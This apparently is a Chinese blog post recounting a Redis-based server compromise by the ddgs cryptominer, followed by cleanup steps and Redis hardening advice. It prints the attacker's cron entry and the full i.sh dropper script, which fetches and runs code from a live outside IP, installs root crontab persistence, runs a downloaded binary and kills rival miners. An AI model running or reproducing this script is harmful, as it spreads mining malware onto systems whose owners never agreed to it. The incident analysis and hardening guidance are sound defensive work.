被入侵后的现象:
发现有 qW3xT.2 与 ddgs 两个异常进程, 消耗了较高的 cpu,kill 掉后 过一会就会重新出现.
kill 掉这两个异常进程后, 过一段时间看到了如下进程:
首先在 / etc/sysconfig/crotnab 中的定时任务没有找到定时脚本, 输入 crontab -e 在其中找到了该定时任务
*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
查询了下 149.56.106.215 在美国, i.sh 脚本内容如下:
- export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
- echo ""> /var/spool/cron/root
- echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh">> /var/spool/cron/root
- echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh">> /var/spool/cron/root
- mkdir -p /var/spool/cron/crontabs
- echo ""> /var/spool/cron/crontabs/root
- echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh">> /var/spool/cron/crontabs/root
- echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh">> /var/spool/cron/crontabs/root
- ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
- if [! -f "/tmp/ddgs.3013"]; then
- wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
- curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
- fi
- chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013
- ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
- ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
- ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
- ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
- ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
- ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
- #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
- #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
处理方法:
1. 删除 crontab -e 中
*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
2. 清除 / root/.ssh/authorized_keys 中黑客设置的免密登录内容
3. 修改 redis 密码
4. 修改 root 与登录账户密码
安全建议:
1. 配置 bind 选项, 限定可以连接 Redis 服务器的 IP, 修改 Redis 的默认端口 6379 配置认证, 也就是 AUTH, 设置密码, 密码会以明文方式保存在 Redis 配置文件中
2. 配置 rename-command 配置项 "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用 config 指令加大难度
3. 如果可以在防火墙中屏蔽 redis 外网
入侵方式:
收集了相关资料, 了解到其是利用 redis 漏洞, 未设置密码或密码太简单, 导致的被入侵. 具体方式可以参考
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
reids 修改密码方法如下:
- redis-cli -h 127.0.0.1 -p 6379
- config get requirepass ## 获取当前密码
- config set requirepass "yourpassword" ## 设置当前密码, 服务重新启动后又会置为默认, 即无密码;
永久生效方法为, 打开 redis 配置文件 redis.conf, 找到 requirepass 值修改密码, 如下:
requirepass yourpassword ## 此处注意, 行前不能有空格
来源: https://www.cnblogs.com/ytc6/p/9636319.html